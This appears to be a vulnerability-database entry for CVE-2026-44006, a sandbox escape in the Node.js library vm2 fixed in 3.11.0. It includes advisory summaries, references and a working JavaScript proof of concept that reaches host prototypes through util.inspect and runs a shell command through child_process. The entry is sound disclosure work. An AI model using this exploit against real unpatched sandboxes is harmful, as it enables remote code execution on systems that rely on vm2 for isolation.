CVE-2026-44006
criticalpriority · track · 0EPSS 0.008 · 57 %ileDEEURUUSEPSS · scored 2026-10-27
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.
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affected products (8)
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advisories (2)
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- WID-SEC-W-2026-1349vm2: Mehrere SchwachstellenDeutsch2026-05-03csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.
- GHSA-qcp4-v2jj-fjx8vm2 has a Sandbox Escape Vulnerability2026-05-07ghsa · osvUS
### Summary It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes ### Details https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658 `BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8) ### PoC ```js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', }; let sym; obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1]; if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, }); obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('child_process') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {}); ``` ### Impact Sandbox Escape -> RCE
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references (8)
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- https://github.com/patriksimek/vm2/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-44006cnnvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8enisa_euvd
- https://access.redhat.com/errata/RHSA-2026:50850nvd
- https://access.redhat.com/security/cve/CVE-2026-44006nvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2477200nvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8ExploitVendor Advisorynvd
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44006.jsonnvd
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